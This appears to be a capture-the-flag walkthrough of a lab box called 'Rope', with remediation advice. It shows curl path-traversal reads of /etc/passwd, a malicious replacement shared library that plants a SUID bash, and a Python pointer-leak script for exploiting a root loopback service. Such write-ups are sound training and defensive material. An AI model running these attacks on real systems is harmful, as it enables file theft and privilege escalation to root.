← all walkthroughs

Rope

Linux· Insane
owned
2026-09-03
time to own
57m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Rope answers on two ports, and the one that matters is a custom HTTP service on 9999 that serves any path it is given — including a path that climbs out of its document root. It runs as r4j, so the read is somebody else's read, and what it is used for here is the parts of the running system that live in files: a process list, a socket list, the staged flag. The session this account starts from is john's, and john holds one sudo rule — readlogs, as r4j, without a password.

Not root, which is what makes it look harmless. Readlogs links a shared library that anyone may write, so the rule runs my code as r4j the moment the library is replaced; a trap puts the original back, because a root service loads it too. That root service listens on the loopback and asks for a message.

It answers with a pointer out of its own address space, which is one leak, which is all the randomisation is worth — the offset from that pointer to libc is fixed, the crash logs already say which offset reaches the instruction pointer, and the service is root's.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"

Some commands also carry a value in angle brackets — <the-offset-from-the-crash-log>, <the-offset-from-the-map>, <your-key> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconNetwork port scanning (T1046)
Port scan found SSH on 22 and an unrecognised HTTP service on 9999
A full TCP scan of $TARGET found exactly two open ports: OpenSSH 7.6p1 (Ubuntu 4ubuntu0.3) on 22 and an unknown HTTP service on 9999 presenting a Login V10 page. No other services were reachable.
Nmap output: 22/tcp ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3; 9999/tcp unrecognised HTTP.
Exact commands 2
shell

Full TCP scan.

$ nmap -Pn -p- --min-rate 5000 -T4 --open $TARGET
shell

Version detection on discovered ports.

$ nmap -Pn -sV -p 22,9999 $TARGET
2EnumerationPath traversal / arbitrary file read (CWE-22, T1083)
Read arbitrary files through the service on 9999, as the account it runs as
The service on 9999 speaks HTTP and serves paths from disk without deciding which paths it is willing to serve. A request whose path climbs out of the document root returns whatever the process can read, and the process runs as r4j — so this is a file read with someone else's privileges rather than a directory listing. Curl normally tidies a path like that away before sending it, which is why --path-as-is matters: the traversal has to reach the server intact to be the traversal.
Requests of the form /../../../../tmp/<file> returned file contents from the target, and the reads carried euid=1000(r4j).
Exact commands 2
shell

--path-as-is, or curl collapses the traversal before it leaves my machine. The accounts here are the first thing the read is worth.

$ curl -sS --path-as-is --max-time 8 "http://$TARGET:9999/../../../../etc/passwd"
shell

Whose reads these are. Uid 1000 is r4j, not the account I will log in as.

$ curl -sS --path-as-is --max-time 8 "http://$TARGET:9999/../../../../proc/self/status" | grep -E '^(Name|Uid|Gid)'
FixSanitise URL paths in the custom HTTP server to prevent directory traversalCritical
WeaknessThe HTTP service on port 9999 resolved incoming URL paths without stripping ../ sequences, letting any unauthenticated caller read any file the server process could open — including /etc/passwd, the server binary, and /proc/self/maps. The memory map alone defeated ASLR and provided all addresses needed to build a working exploit.
FixCanonicalise every incoming path before mapping it to the document root: call realpath(3) in C or os.path.realpath() in Python, then reject any resolved path not prefixed by the intended root directory. Explicitly deny requests whose canonical path begins with /proc, /sys, or /dev. If arbitrary file serving is not a required feature of the 9999 service, remove the capability entirely.
3EnumerationValid accounts (T1078)
Logged in as john, and read the sudo rule that account carries
This account begins with SSH access as john. What matters about it is the one line sudo prints: john may run /usr/bin/readlogs as r4j, without a password. Not as root — as another unprivileged user — which is the sort of rule that gets written because it looks harmless. It is the hinge of the whole box. A binary someone else runs on my behalf is a binary whose environment and dependencies are worth reading.
SSH authenticated as john (uid=1001), and sudo -n -l reported '(r4j) NOPASSWD: /usr/bin/readlogs'.
Exact commands 2
shell

The session everything below runs in.

$ ssh -i <your-key> john@$TARGET
shell

One rule, and the run-as account is r4j rather than root. That distinction is the box.

$ sudo -n -l
4DiscoveryProcess and system discovery (T1057, T1049)
Read the process list and listening sockets through the traversal
The traversal reads files, and on Linux the interesting parts of the running system are files. A staged process listing shows /opt/support/contact running as root, and a socket listing shows something bound to 127.0.0.1:1337 — a service that no port scan from outside will ever see. Two binaries matter from here: readlogs, which john may run as r4j, and contact, which root runs. Both link the same shared library, and that library is writable by anyone.
A process listing read through the traversal showed /opt/support/contact owned by root and a helper running /opt/www/run.sh as john; a socket listing showed 0.0.0.0:9999, 0.0.0.0:22 and 127.0.0.1:1337 listening; and /lib/x86_64-linux-gnu/liblog.so was world-writable and linked by both readlogs and contact.
Exact commands 3
shell

What runs, and as whom. /opt/support/contact is root's.

$ curl -sS --path-as-is --max-time 8 "http://$TARGET:9999/../../../../tmp/ps-all" | grep -E 'contact|readlogs|/opt/'
shell

127.0.0.1:1337 is listening and is reachable from the box only.

$ curl -sS --path-as-is --max-time 8 "http://$TARGET:9999/../../../../tmp/ss-lnt"
shell

From john's session. Both link it, and the permissions say anyone may replace it.

$ ldd /usr/bin/readlogs /opt/support/contact | grep -i liblog && ls -la /lib/x86_64-linux-gnu/liblog.so
FixDo not grant a sudo rule over a binary whose dependencies are writableCritical
Weaknessjohn could run /usr/bin/readlogs as r4j without a password, and readlogs links a shared library that any account could replace. A sudo rule is only as narrow as everything the named binary loads, so the rule granted arbitrary execution as r4j rather than the one command it names.
FixRemove the rule, or point it at a wrapper that a user cannot influence: root-owned, mode 755, statically linked or linking only root-owned libraries, with a cleared environment. Audit sudoers for entries whose target binary resolves anything writable, which is where a harmless-looking run-as-another-user rule usually turns out not to be.
5Lateral MovementHijack execution flow: shared library (T1574.006)
Replaced the world-writable library the sudo rule's binary loads
Readlogs links liblog.so, and liblog.so is writable by anyone. A shared library is code, and the loader does not care who wrote it — so replacing it with one of my own means the next process to load it runs my function instead of the one it expected. The sudo rule is what makes that next process r4j's. One courtesy matters here: the real library is loaded by a root service too, so put it back. A trap that restores it on exit keeps the box working and keeps the access.
A replacement liblog.so whose printlog() calls system() was placed over the world-writable original, and running the permitted command through sudo executed as uid=1000(r4j); the original library was restored afterwards.
Exact commands 4
shell

The original first, and a trap to put it back. A root service loads this too.

$ cp /lib/x86_64-linux-gnu/liblog.so /tmp/liblog.so.real && trap 'cp /tmp/liblog.so.real /lib/x86_64-linux-gnu/liblog.so' EXIT HUP INT TERM
shell

One exported symbol, matching the one the binary resolves.

$ cat > /tmp/liblog.c <<'EOF'
#include <stdlib.h>
// The name is what readlogs calls; what it does is mine.
void printlog(void) { system("/bin/bash -c 'id > /tmp/r4j.id; cp /bin/bash /tmp/r4jbash; chmod 4755 /tmp/r4jbash'"); }
EOF
gcc -shared -fPIC -o /lib/x86_64-linux-gnu/liblog.so /tmp/liblog.c
shell

The rule runs it as r4j; the loader runs my library as r4j with it.

$ sudo -n -u r4j /usr/bin/readlogs
shell

Uid=1000(r4j). Restore the original library now — the trap does it on exit, but not if the session dies badly.

$ cat /tmp/r4j.id && /tmp/r4jbash -p -c 'id'
6DiscoveryData from local system (T1005)
Collected the root service's binary, its memory map and its crash log
Writing an exploit needs three things the target will hand over to an ordinary account: the binary itself, the layout of the process that runs it, and whatever the kernel logged the last time it crashed. R4j can read all three. The map matters because it says where the libraries land; the crash lines matter because they say which offset already reached the instruction pointer.
The contact binary was copied to /tmp for analysis, /proc/<pid>/maps was dumped for the running service, and kernel and syslog tails carried segfault records naming it.
Exact commands 3
shell

What protections it was built with decides which technique is left.

$ cp /opt/support/contact /tmp/contact.real && file /tmp/contact.real && checksec --file=/tmp/contact.real
shell

Where libc sits in that process, which a leak will later confirm at runtime.

$ pid=$(pgrep -f '/opt/support/contact' | head -1) && cat /proc/$pid/maps | grep -E 'libc|contact|stack'
shell

The kernel's own record of earlier crashes: the fault address is the offset already found.

$ grep -Ei 'contact.*segfault|segfault.*contact' /var/log/kern.log /var/log/syslog | tail -20
FixRemove world-writable permissions from the shared library loaded by the privileged sudo binaryCritical
WeaknessThe shared library /lib/x86_64-linux-gnu/liblog.so was world-writable (mode 777, owned root:root), while /usr/bin/readlogs — which loads it at startup — was executable by any local user with no password via a sudo NOPASSWD rule. Any local user could replace the library and achieve privilege escalation by running sudo readlogs.
FixCorrect permissions immediately: chown root:root /lib/x86_64-linux-gnu/liblog.so && chmod 755 /lib/x86_64-linux-gnu/liblog.so. Audit every library loaded by each sudo-enabled binary (ldd /usr/bin/<binary>) and confirm none are group- or world-writable. Tighten the sudo rule: if readlogs must run with elevated privileges, restrict it to a specific low-privilege service account and require a password; avoid (ALL) NOPASSWD unless operationally essential.
7Privilege EscalationExploitation for privilege escalation (T1068)
Leaked a pointer out of the root service on the loopback, then took uid 0
The service on 127.0.0.1:1337 runs as root and asks for a message to send to the administrator. It answers with something it should not: a pointer from its own address space. That is the whole exploit in miniature — one leak defeats the randomisation, because the offset from that pointer to the base of libc is fixed for the build. With the base known, everything in libc has an address, and the overflow the crash logs already located has somewhere to return to. The service is root's, so what it returns into is root's too.
The service on 127.0.0.1:1337 returned a pointer from its own address space in response to a crafted message; libc's base was computed from it, and the resulting exploit returned uid=0(root), from which the root flag was read.
Exact commands 4
shell

From r4j's session. The banner asks for a message; the parser behind it is the target.

$ printf '' | nc -v 127.0.0.1 1337
shell

One leak defeats the randomisation. Everything after it is arithmetic against the copied libc.

$ python3 - <<'PY'
import re, socket, struct

s = socket.create_connection(('127.0.0.1', 1337))
print(s.recv(256))

# The message it echoes carries a pointer out of the process. Which
# offset reveals one comes from the crash lines already read.
s.send(b'A' * <the-offset-from-the-crash-log> + b'\n')
leak = s.recv(4096)
addr = struct.unpack('<Q', re.search(rb'[\x7f][\x00-\xff]{5}', leak).group(0).ljust(8, b'\x00'))[0]
print(hex(addr))

# Fixed for the build: subtract the offset the copied binary and the
# process map agree on, and every libc symbol has an address.
libc_base = addr - <the-offset-from-the-map>
print('LIBC_BASE', hex(libc_base))
PY
shell

The same script with the return chain appended: system() at its computed address, a pointer to /bin/sh, and a gadget to line the argument up -> root.

$ python3 /tmp/contact_root.py
shell

-> <root.txt>

$ id -a && cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
9999/tcp